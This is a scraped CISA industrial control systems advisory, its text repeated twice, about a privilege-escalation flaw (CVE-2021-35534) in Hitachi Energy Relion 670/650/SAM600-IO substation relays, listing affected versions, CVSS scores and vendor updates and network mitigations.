Vulnerability: Improper Handling of Insufficient Privileges

2. RISK EVALUATION
Successful exploitation of this vulnerability could allow anyone with user credentials to bypass the security controls enforced by the product.
3. TECHNICAL DETAILS
3.1 AFFECTED PRODUCTS
Hitachi Energy reports the following products are affected:

Relion 670/650 series: Version 2.2.0 all revisions
Relion 670/650/SAM600-IO series: Version 2.2.1 all revisions up to but not including version 2.2.1.8.
Relion 670 series: Version 2.2.2 all revisions up to but not including 2.2.2.5
Relion 670 series: Version 2.2.3 revisions up to 2.2.3.4
Relion 670/650 series Version 2.2.4 all revisions up to but not including version 2.2.4.3.
Relion 670/650/SAM600-IO series: Version 2.2.5 up to revision 2.2.5.1
Relion 670/650 series: Version 2.1 all revisions up to but not including version 2.1.0.5
Relion 670 series: Version 2.0 all revisions up to but not including version 2.0.0.14.
Relion 650 series: Version 1.3 all revisions up to but not including version 1.3.0.8.
Relion 650 series: Version 1.2 all revisions
Relion 650 series: Version 1.1 all revisions
Relion 650 series: Version 1.0 all revisions

3.2 VULNERABILITY OVERVIEW
3.2.1 IMPROPER HANDLING OF INSUFFICIENT PRIVILEGES CWE-274
A vulnerability exists in the database schema inside the product. An attacker could exploit the vulnerability by gaining access to credentials of any account or to have access to a session ticket issued for an account. Then, through the configuration tool that accesses the proprietary Open Database Connectivity (ODBC) protocol (TCP 2102), the database table can be manipulated for privilege escalation, which then allows unauthorized modification or to permanently disabling of the device.
CVE-2021-35534 has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).
A CVSS v4 score has also been calculated for CVE-2021-35534. A base score of 8.6 has been calculated; the CVSS vector string is (AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N).
3.3 BACKGROUND

CRITICAL INFRASTRUCTURE SECTORS: Energy
COUNTRIES/AREAS DEPLOYED: Worldwide
COMPANY HEADQUARTERS LOCATION: Switzerland

3.4 RESEARCHER
Hitachi Energy PSIRT reported this vulnerability to CISA.
4. MITIGATIONS
Hitachi Energy has identified the following recommended immediate actions for each affected version:

Relion 650 series Version 2.2.1, Relion 670 series Version 2.2.1, SAM600-IO series Version 2.2.1: Update to Relion 670/650/SAM600-IO series Version 2.2.1.8.
Relion 670 series Version 2.2.2: Update to Relion 670 series Version 2.2.2.5.
Relion 670 series Version 2.2.3: Update to Relion 670 series Version 2.2.3.5.
Relion 670 series Version 2.2.4, Relion 650 series Version 2.2.4: Update to Relion 670/650 series Version 2.2.4.3.
Relion 670 series Version 2.2.5, Relion 670 series Version 2.2.5, SAM600-IO series Version 2.2.5: Update to Relion 670/650/SAM600-IO series Version 2.2.5.2.
Relion 650 series Version 2.1.0, Relion 670 series Version 2.1.0: Update to Relion 670/650 series Version 2.1.0.5.
Relion 670 series Version 2.0.0: Update to Relion 670/650 series Version 2.0.0.14.
Relion 650 series Version 1.3.0.8: Update to Relion 650 series Version 1.3.0.8.
Relion 670 series Version 2.2.0, Relion 650 series Version 1.1.0, Relion 650 series Version 1.0.0: Refer to the general mitigation factors below.
Relion 650 series Version 1.2.0: Refer to the general mitigation factors below for the current mitigation strategy or upgrade to Relion 650 series Version 1.3.

For more information see the associated Hitachi Energy PSIRT security advisory 8DBD000058 Cybersecurity Advisory – Insufficient Security Control Vulnerability in Hitachi Energy Relion 670/650/SAM600-IO series Products.
Hitachi Energy recommends users implement recommended security practices and firewall configurations to help protect the process control network from attacks originating from outside the network. Process control systems should be physically protected from direct access by unauthorized personnel, have no direct connections to the Internet, and be separated from other networks by means of a firewall system with a minimal number of ports exposed. Open Database Connectivity (ODBC) protocol that is used for device configuration should be limited within the substation only. Process control systems should not be used for Internet surfing, instant messaging, or receiving e-mails. Portable computers and removable storage media should be carefully scanned for viruses before they are connected to a control system.
CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability. CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.
CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.
CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.
Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B–Targeted Cyber Intrusion Detection and Mitigation Strategies.
Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.
No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.
5. UPDATE HISTORY

March 06, 2025: Initial Publication 

View CSAF

1. EXECUTIVE SUMMARY

  • CVSS v4 8.6
  • ATTENTION: Exploitable remotely/low attack complexity
  • Vendor: Hitachi Energy
  • Equipment: Relion 670/650/SAM600-IO
  • Vulnerability: Improper Handling of Insufficient Privileges

2. RISK EVALUATION

Successful exploitation of this vulnerability could allow anyone with user credentials to bypass the security controls enforced by the product.

3. TECHNICAL DETAILS

3.1 AFFECTED PRODUCTS

Hitachi Energy reports the following products are affected:

  • Relion 670/650 series: Version 2.2.0 all revisions
  • Relion 670/650/SAM600-IO series: Version 2.2.1 all revisions up to but not including version 2.2.1.8.
  • Relion 670 series: Version 2.2.2 all revisions up to but not including 2.2.2.5
  • Relion 670 series: Version 2.2.3 revisions up to 2.2.3.4
  • Relion 670/650 series Version 2.2.4 all revisions up to but not including version 2.2.4.3.
  • Relion 670/650/SAM600-IO series: Version 2.2.5 up to revision 2.2.5.1
  • Relion 670/650 series: Version 2.1 all revisions up to but not including version 2.1.0.5
  • Relion 670 series: Version 2.0 all revisions up to but not including version 2.0.0.14.
  • Relion 650 series: Version 1.3 all revisions up to but not including version 1.3.0.8.
  • Relion 650 series: Version 1.2 all revisions
  • Relion 650 series: Version 1.1 all revisions
  • Relion 650 series: Version 1.0 all revisions

3.2 VULNERABILITY OVERVIEW

3.2.1 IMPROPER HANDLING OF INSUFFICIENT PRIVILEGES CWE-274

A vulnerability exists in the database schema inside the product. An attacker could exploit the vulnerability by gaining access to credentials of any account or to have access to a session ticket issued for an account. Then, through the configuration tool that accesses the proprietary Open Database Connectivity (ODBC) protocol (TCP 2102), the database table can be manipulated for privilege escalation, which then allows unauthorized modification or to permanently disabling of the device.

CVE-2021-35534 has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).

A CVSS v4 score has also been calculated for CVE-2021-35534. A base score of 8.6 has been calculated; the CVSS vector string is (AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N).

3.3 BACKGROUND

  • CRITICAL INFRASTRUCTURE SECTORS: Energy
  • COUNTRIES/AREAS DEPLOYED: Worldwide
  • COMPANY HEADQUARTERS LOCATION: Switzerland

3.4 RESEARCHER

Hitachi Energy PSIRT reported this vulnerability to CISA.

4. MITIGATIONS

Hitachi Energy has identified the following recommended immediate actions for each affected version:

  • Relion 650 series Version 2.2.1, Relion 670 series Version 2.2.1, SAM600-IO series Version 2.2.1: Update to Relion 670/650/SAM600-IO series Version 2.2.1.8.
  • Relion 670 series Version 2.2.2: Update to Relion 670 series Version 2.2.2.5.
  • Relion 670 series Version 2.2.3: Update to Relion 670 series Version 2.2.3.5.
  • Relion 670 series Version 2.2.4, Relion 650 series Version 2.2.4: Update to Relion 670/650 series Version 2.2.4.3.
  • Relion 670 series Version 2.2.5, Relion 670 series Version 2.2.5, SAM600-IO series Version 2.2.5: Update to Relion 670/650/SAM600-IO series Version 2.2.5.2.
  • Relion 650 series Version 2.1.0, Relion 670 series Version 2.1.0: Update to Relion 670/650 series Version 2.1.0.5.
  • Relion 670 series Version 2.0.0: Update to Relion 670/650 series Version 2.0.0.14.
  • Relion 650 series Version 1.3.0.8: Update to Relion 650 series Version 1.3.0.8.
  • Relion 670 series Version 2.2.0, Relion 650 series Version 1.1.0, Relion 650 series Version 1.0.0: Refer to the general mitigation factors below.
  • Relion 650 series Version 1.2.0: Refer to the general mitigation factors below for the current mitigation strategy or upgrade to Relion 650 series Version 1.3.

For more information see the associated Hitachi Energy PSIRT security advisory 8DBD000058 Cybersecurity Advisory – Insufficient Security Control Vulnerability in Hitachi Energy Relion 670/650/SAM600-IO series Products.

Hitachi Energy recommends users implement recommended security practices and firewall configurations to help protect the process control network from attacks originating from outside the network. Process control systems should be physically protected from direct access by unauthorized personnel, have no direct connections to the Internet, and be separated from other networks by means of a firewall system with a minimal number of ports exposed. Open Database Connectivity (ODBC) protocol that is used for device configuration should be limited within the substation only. Process control systems should not be used for Internet surfing, instant messaging, or receiving e-mails. Portable computers and removable storage media should be carefully scanned for viruses before they are connected to a control system.

CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability. CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B–Targeted Cyber Intrusion Detection and Mitigation Strategies.

Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.

5. UPDATE HISTORY

  • March 06, 2025: Initial Publication

 Read More

Scroll to Top